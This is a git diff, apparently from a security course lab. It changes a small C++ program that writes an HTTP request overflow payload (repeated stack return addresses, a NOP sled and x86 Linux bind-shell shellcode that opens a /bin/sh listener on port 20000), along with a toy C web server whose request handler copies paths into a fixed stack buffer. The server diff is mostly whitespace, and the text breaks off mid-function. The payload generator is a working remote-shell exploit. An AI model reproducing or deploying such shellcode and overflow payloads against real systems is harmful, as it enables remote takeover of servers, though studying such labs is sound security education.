diff --git a/printchar.cpp b/printchar.cpp index 1d5570f..4c46c82 100644 --- a/printchar.cpp +++ b/printchar.cpp @@ -2,16 +2,20 @@ #include using namespace std; -int main(int argc, char** argv) { - - - char code[] = "\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\xb0\xfe\xff\xbf\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80\x89\xc7\x52\x66\x68\x4e\x20\x43\x66\x53\x89\xe1\xb0\xef\xf6\xd0\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\x43\x43\xcd\x80\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x51\x53\x89\xe1\xb0\xf4\xf6\xd0\xcd\x80"; - - freopen ("data.dat","w",stdout); - printf ("GET /"); - printf ("%s",code); - printf (" HTTP"); - fclose (stdout); - return 0; -} +char filename[] = "data1.dat"; +char addr[] = "\xb0\xfe\xff\xbf"; +int numNoops = 475; +char noop[] = "\x90"; +int numAddrs = 75; +char code[] = "\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80\x89\xc7\x52\x66\x68\x4e\x20\x43\x66\x53\x89\xe1\xb0\xef\xf6\xd0\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\x43\x43\xcd\x80\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x51\x53\x89\xe1\xb0\xf4\xf6\xd0\xcd\x80"; +int main(int argc, char** argv) { + freopen (filename, "w", stdout); + printf ("GET /"); + for (unsigned int i = 0; i < numAddrs; ++i) printf("%s", addr); + for (unsigned int i = 0; i < numNoops; ++i) printf("%s", noop); + printf ("%s", code); + printf (" HTTP"); + fclose (stdout); + return 0; +} \ No newline at end of file diff --git a/webserver.c b/webserver.c index 4f65b1b..8a60531 100644 --- a/webserver.c +++ b/webserver.c @@ -34,135 +34,135 @@ const char *content_text = "Content-type: text/plain\n\n"; const char *www_path = "./www/"; int main(int argc, char *argv[]) { - int port; + int port; - if (argc < 2 || (port = atoi(argv[1])) < 1 || port > 65535) { - printf("Usage: webserver port\n"); - exit(1); - } + if (argc < 2 || (port = atoi(argv[1])) < 1 || port > 65535) { + printf("Usage: webserver port\n"); + exit(1); + } - port_arg = (char *)malloc(6*sizeof (char)); - memset(port_arg, '\0', 6); - strncpy(port_arg, argv[1], 5); + port_arg = (char *)malloc(6*sizeof (char)); + memset(port_arg, '\0', 6); + strncpy(port_arg, argv[1], 5); - signal(SIGINT, &sigint); - signal(SIGSEGV, &sigsegv); + signal(SIGINT, &sigint); + signal(SIGSEGV, &sigsegv); - struct sockaddr_in socket_addr; - sock = socket(PF_INET, SOCK_STREAM, 0); + struct sockaddr_in socket_addr; + sock = socket(PF_INET, SOCK_STREAM, 0); int on = 1; - setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &on, sizeof on); - - memset(&socket_addr, 0, sizeof socket_addr); - socket_addr.sin_family = PF_INET; - socket_addr.sin_port = htons(port); - socket_addr.sin_addr.s_addr = htonl(INADDR_ANY); - - if (bind(sock, (struct sockaddr *)&socket_addr, sizeof socket_addr) < 0) { - perror("couldn't bind"); - exit(1); - } - listen(sock, 10); - - while (1) { - int acceptsock = accept(sock, NULL, NULL); - char *input = (char *)malloc(1024*sizeof (char)); - recv(acceptsock, input, 1024, 0); - int is_html = 0; - char *contents = handle(input,&is_html); - free(input); - - if (contents != NULL) { - send(acceptsock, resp_ok, strlen(resp_ok), 0); - if (is_html) - send(acceptsock, content_html, strlen(content_html), 0); - else - send(acceptsock, content_text, strlen(content_text), 0); - send(acceptsock, contents, strlen(contents), 0); - send(acceptsock, "\n", 1, 0); - free(contents); - } else - send(acceptsock, resp_bad, strlen(resp_bad), 0); - - close(acceptsock); - } - - return 0; + setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &on, sizeof on); + + memset(&socket_addr, 0, sizeof socket_addr); + socket_addr.sin_family = PF_INET; + socket_addr.sin_port = htons(port); + socket_addr.sin_addr.s_addr = htonl(INADDR_ANY); + + if (bind(sock, (struct sockaddr *)&socket_addr, sizeof socket_addr) < 0) { + perror("couldn't bind"); + exit(1); + } + listen(sock, 10); + + while (1) { + int acceptsock = accept(sock, NULL, NULL); + char *input = (char *)malloc(1024*sizeof (char)); + recv(acceptsock, input, 1024, 0); + int is_html = 0; + char *contents = handle(input,&is_html); + free(input); + + if (contents != NULL) { + send(acceptsock, resp_ok, strlen(resp_ok), 0); + if (is_html) + send(acceptsock, content_html, strlen(content_html), 0); + else + send(acceptsock, content_text, strlen(content_text), 0); + send(acceptsock, contents, strlen(contents), 0); + send(acceptsock, "\n", 1, 0); + free(contents); + } else + send(acceptsock, resp_bad, strlen(resp_bad), 0); + + close(acceptsock); + } + + return 0; } char *handle(char *request, int *is_html) { - char filename[100]; + char filename[100]; //clear filename - memset(filename, '\0', 100*sizeof (char)); + memset(filename, '\0', 100*sizeof (char)); //check to see if there's a get request in the input - if (strstr(request, prefix) == request) { - char *start = request + strlen(prefix); - char *end = strstr(start, " HTTP"); - if (end == NULL) { - printf("Unsupported command.\n"); - return NULL; - } - int len = (int) (end - start); - if (check_filename_length(len)) - strncpy(filename, start, len); - else - return NULL; - } else { - printf("Unsupported command.\n"); - return NULL; - } - - if (strstr(filename,"/") != NULL) - return NULL; - if (!strcmp(filename, "")) - strcpy(filename,"index.html"); - if (strstr(filename,".html") != NULL) - *is_html = 1; - - char *path = (char *)malloc((strlen(www_path) + strlen(filename))*sizeof (char)); - strcpy(path, www_path); - strcpy(path + strlen(www_path), filename); - - struct stat file_status; - if (stat(path, &file_status) != 0) - return NULL; - - char *contents = (char *)malloc((file_status.st_size+1)*sizeof (char)); - memset(contents, '\0', file_status.st_size+1); - - FILE *readfile = fopen(path, "r"); - int i; - for (i=0;i